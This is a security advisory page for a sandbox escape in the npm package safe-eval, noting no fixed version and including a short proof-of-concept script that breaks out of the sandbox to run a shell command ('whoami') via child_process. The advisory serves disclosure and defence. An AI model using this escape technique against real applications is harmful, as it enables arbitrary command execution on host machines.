Sandbox Escape Affecting safe-eval Open this link in a new tab package, versions *


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JS-SAFEEVAL-608076

  • published

    21 Aug 2020

  • disclosed

    28 Feb 2020

  • credit

    Anirudh Anand

How to fix?

There is no fixed version for safe-eval.

Overview

safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Escape. It is possible for an attacker to run an arbitrary command on the host machine.

POC by Anirudh Anand (for node 12.13.0)

const safeEval = require('safe-eval');

const theFunction = function() { const bad = new Error(); bad.proto = null; bad.stack = { match(outer) { throw outer.constructor.constructor("return process")().mainModule.require('child_process').execSync('whoami').toString(); } }; return bad; };

const untrusted = (${theFunction})(); console.log(safeEval(untrusted));

References